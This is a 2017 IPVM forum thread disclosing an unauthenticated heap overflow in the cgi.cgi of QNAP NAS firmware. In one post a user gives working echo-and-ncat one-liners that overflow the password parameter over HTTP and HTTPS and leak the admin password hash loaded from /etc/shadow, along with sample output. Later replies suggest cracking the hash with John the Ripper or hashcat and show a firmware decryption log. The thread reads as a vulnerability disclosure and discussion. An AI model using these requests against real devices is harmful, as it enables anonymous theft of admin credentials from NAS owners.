Subscriber Discussion

0-Day Critical Vulnerability In QNAP

UE
Undisclosed End User #1
Jan 02, 2017

QNAP Critical Vulnerability:

QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and non critical stack crash in "jc.cgi and mediaGet.cgi".

Successful exploitation of this heap overflow vulnerability can lead to unauthorised root (admin) privileges on QNAP devices with anonymous access. (no credential needed to exploit) 

 

(3)
JH
John Honovich
Jan 02, 2017
IPVM

#1, thanks for sharing. I edited the title and inserted the summary into the opening to make it clear. Let me know if that works.

I'd email someone at QNAP but I don't know who to speak with. It has been so long since I talked to anyone at QNAP and I am not sure who is there.

U
Undisclosed #2
Jan 02, 2017
IPVMU Certified
JH
John Honovich
Jan 02, 2017
IPVM
U
Undisclosed #2
Jan 02, 2017
IPVMU Certified

So is there input sanitizing/bounds checking of the GET string, and that's the reason to inline the backquoted loop?

UE
Undisclosed End User #1
Jan 02, 2017

For most of them, yes there is, but these lacking of some proper checkins.

The loops are only to easily get up to required chars to trigger things, instead of "manually type" +4000 chars. 

(It's actually one and same binary, but mentioned function are symlinked to the main binary (authLogin.cgi).

authLogout.cgi -> authLogin.cgi*
cgi.cgi -> authLogin.cgi*
jc.cgi -> authLogin.cgi*
language.cgi -> authLogin.cgi*
mediaGet.cgi -> authLogin.cgi*
qnapmsg.cgi -> authLogin.cgi*
sysinfoReq.cgi -> authLogin.cgi*

Below is also requests (base64 encoded) to retrieve the admin password (loaded in heap at address 0x0806ce56) that's loaded on heap from /etc/shadow.

Tested with my own device "QNAP TS-251+" and loaded with latest FW Version 4.2.2 (Build 20161214)

[HTTPS]
# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<4467;i++));do echo -en "B";done | base64 -w 0 ; echo -en "D\x56\xce\x06\x08" | base64 -w 0` HTTP/1.0\nHost: BUG\n\n" | ncat --ssl 192.168.5.7 443 | grep glibc
*** glibc detected *** $1$$8lBa9PhdBbp9/AeeTXXXXX: free(): invalid next size (normal): 0x0806e510 ***
#

[HTTP]
#
echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<4467;i++));do echo -en "\xff";done | base64 -w 0 ; echo -en "D\x56\xce\x06\x08" | base64 -w 0` HTTP/1.0\n\n" | ncat 192.168.5.7 8081 | grep glibc
*** glibc detected *** $1$$8lBa9PhdBbp9/AeeTXXXXX: free(): invalid next size (normal): 0x0806e510 ***
#

U
Undisclosed #2
Jan 02, 2017
IPVMU Certified

Is this heap overflow bug a known CVE specific to glibc or is the cgi.cgi erroneously overwriting memory first?

UE
Undisclosed End User #1
Jan 02, 2017

QNAP's coding lacks of proper checkins, nothing to do with glibc, it's looks like that when checking the BT, but it's not.

UE
Undisclosed End User #1
Jan 06, 2017
JH
John Honovich
Jan 06, 2017
IPVM

#1, what do you think of QNAP's response?

internal investigations have shown that the vulnerability is not easily exploited

UE
Undisclosed End User #1
Jan 06, 2017

Remotely execute code (aka bind/remote shell) is highly unlikely (I would even dare to say impossible), but read the password hash and crackable with "John" - that's one step below - is fully functional.

Only difference between these two is time.

(1)
UE
Undisclosed End User #1
Jan 06, 2017

Eh, not "John Honovich" but "John The Ripper" :)

Sorry for the confusion... 

U
Undisclosed #2
Jan 06, 2017
IPVMU Certified

Eh, not "John Honovich" but "John The Ripper" :)

John the Ripper rips faster, but John the Blogger rips funnier.

U
Undisclosed #2
Jan 07, 2017
IPVMU Certified
XXXXX=?????
UE
Undisclosed End User #1
Jan 07, 2017

password hash masking, to confuse you and John the Ripper :)

U
Undisclosed #2
Jan 07, 2017
IPVMU Certified

XXXXX != 0-day

UE
Undisclosed End User #1
Jan 07, 2017

*yawn*

U
Undisclosed #2
Jan 07, 2017
IPVMU Certified

*yawn*

I know it can be tiring waiting for jtr to finish...

Pro tip:

#kill -9 john 

Process Terminated.

#hashcat64 -a3 -m500 -w3

UE
Undisclosed End User #1
Jan 17, 2017

Fujitsu has available patched FW for newer HW since 10/01/2017, QNAP not yet for QTS 4.x & QVR 5.x

 

SRC=FTS_FirmwareQR806_42320170110_1174887.IMG, DEST=QR806_42320170110
----------------------------------------------
decrypting 'FTS_FirmwareQR806_42320170110_1174887.IMG' to 'QR806_42320170110/FTS_FirmwareQR806_42320170110_1174887.IMG.tgz' using PC1 tool ...
Using 120-bit encryption - (QNAPNASVERSION4)
len=1048576
model name = QR806
version = 4.2.3
----------------------------------------------
extracting 'QR806_42320170110/FTS_FirmwareQR806_42320170110_1174887.IMG.tgz' into 'QR806_42320170110/fw'...

U
Undisclosed #2
Jan 18, 2017
IPVMU Certified
UE
Undisclosed End User #1
Feb 02, 2017
U
Undisclosed #2
Feb 02, 2017
IPVMU Certified

So, in the demo, its just admin:admin?

SFL = SecureFuzzingLayer :)

UE
Undisclosed End User #1
Feb 02, 2017

Yep, default password for Admin ;)

Good one, I like SFL ;)

 

(1)
UM
Undisclosed Manufacturer #3
Oct 31, 2019
New discussion

Ask questions and get answers to your physical security questions from IPVM team members and fellow subscribers.

Newest discussions